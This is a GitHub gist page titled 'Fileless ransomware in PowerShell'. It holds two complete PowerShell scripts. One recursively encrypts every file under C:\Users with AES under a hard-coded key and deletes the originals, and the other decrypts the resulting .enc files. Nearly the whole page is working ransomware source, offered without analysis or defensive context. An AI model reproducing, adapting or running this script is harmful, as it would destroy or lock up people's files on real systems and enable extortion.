Created
March 21, 2023 21:37
-
-
Save brodzik/a508f2b763e568036ed66df320336faa to your computer and use it in GitHub Desktop.
Fileless ransomware in PowerShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$directoryPath = "C:\Users" | |
$aesKey = [System.Text.Encoding]::UTF8.GetBytes("MySecretKey12345") | |
$aes = [System.Security.Cryptography.Aes]::Create() | |
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC | |
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 | |
$aes.Key = $aesKey | |
function Decrypt-File($filePath) { | |
$aesIV = New-Object byte[] 16 | |
$inputStream = [System.IO.File]::OpenRead($filePath) | |
$outputStream = [System.IO.File]::Create($filePath.Replace(".enc", "")) | |
$inputStream.Read($aesIV, 0, $aesIV.Length) | |
$aes.IV = $aesIV | |
$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($outputStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write) | |
$inputStream.CopyTo($cryptoStream) | |
$inputStream.Close() | |
$cryptoStream.Close() | |
$outputStream.Close() | |
Remove-Item $filePath | |
} | |
Get-ChildItem -Recurse $directoryPath | ForEach-Object { | |
try { | |
if (!$_.PSIsContainer) { | |
if ($_.Extension -eq ".enc") { | |
Decrypt-File $_.FullName | |
} | |
} | |
} catch {} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$directoryPath = "C:\Users" | |
$aesKey = [System.Text.Encoding]::UTF8.GetBytes("MySecretKey12345") | |
$aes = [System.Security.Cryptography.Aes]::Create() | |
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC | |
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 | |
$aes.Key = $aesKey | |
function Encrypt-File($filePath) { | |
$aes.GenerateIV() | |
$aesIV = $aes.IV | |
$inputStream = [System.IO.File]::OpenRead($filePath) | |
$outputStream = [System.IO.File]::Create("$filePath.enc") | |
$outputStream.Write($aesIV, 0, $aesIV.Length) | |
$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($outputStream, $aes.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write) | |
$inputStream.CopyTo($cryptoStream) | |
$inputStream.Close() | |
$cryptoStream.Close() | |
$outputStream.Close() | |
Remove-Item $filePath | |
} | |
Get-ChildItem -Recurse $directoryPath | ForEach-Object { | |
try { | |
if (!$_.PSIsContainer) { | |
Encrypt-File $_.FullName | |
} | |
} catch {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment